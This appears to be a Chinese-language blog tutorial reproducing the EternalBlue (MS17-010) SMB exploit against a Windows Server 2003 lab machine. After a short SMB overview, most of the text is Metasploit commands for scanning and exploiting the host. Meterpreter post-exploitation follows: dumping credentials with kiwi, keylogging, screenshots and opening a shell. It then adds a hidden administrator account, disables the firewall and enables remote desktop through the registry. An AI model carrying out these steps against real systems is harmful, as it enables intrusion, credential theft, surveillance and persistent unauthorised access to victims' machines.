永恒之蓝——windows server 2003 漏洞
永恒之蓝——windows server 2003 漏洞
1 #获取密码 2 meterpreter > load kiwi 3 meterpreter > creds_kerberos 4 #屏幕截屏 5 meterpreter > screenshot 6 #获取键盘记录 7 meterpreter > ps | grep explorer.exe 8 meterpreter > migrate 2268 9 meterpreter > run post/windows/capture/keylog_recorder 10 #getshell 11 meterpreter > shell 12 --------------------------- 13 #远程桌面 14 rdesktop 192.168.1.78 15 16 Ctrl+z退出
一、永恒之蓝简述:
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
二、SMB协议简述:
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
三、SMB工作原理:
1、首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信;
2、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接;
3、当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝;
4、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
四、复现漏洞
1、启动msf:msfconsole
这样就成功进入了msf中,如果你的界面与该界面不同,不必诧异,msf每次都会有一个随机的界面
2、搜索ms17_010:search ms17_010
3、使用命令:use auxiliary/scanner/smb/smb_ms17_010
4、show options //输入options来获得帮助命令
RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
5、set rhosts 192.168.197.128 //扫描靶机(windows 2003 )
6、run 或者 exploit //开始执行扫描
出现以上情况,存在漏洞 即445端口开放
漏洞利用
1、use exploit/windows/smb/ms17_010_psexec //windows 2003 的攻击模块
2、set rhost 172.17.9.228
3、run 或者 exploit //开始攻击
Kali操控server 2003
Step1:获取屏幕数据
Step2:获取密码
meterpreter > load kiwi
meterpreter > creds_all
https://blog.csdn.net/m0_58199719/article/details/124318547
Step3:shell控制
远程控制
1、添加用户net user 用户名 密码 /add
命令:net user ccq 123456 /add
2、查看本地用户信息:
命令: Net user
net localgroup Administrators ccq2003 /add
确认添加成功,并提升至管理员权限 net user ccq2003 确认是否提权成功
3、关闭防火墙
命令:netsh firewall set opmode mode=disable
查看防火墙状态:
netsh firewall show state
4、查看开启的端口
命令:netstat -ano
5、开启3389端口(如果3389没有开启)
命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看 3389 端口
命令:netstat -aon | findstr “3389”
6、远程桌面连接
rdesktop + ip 地址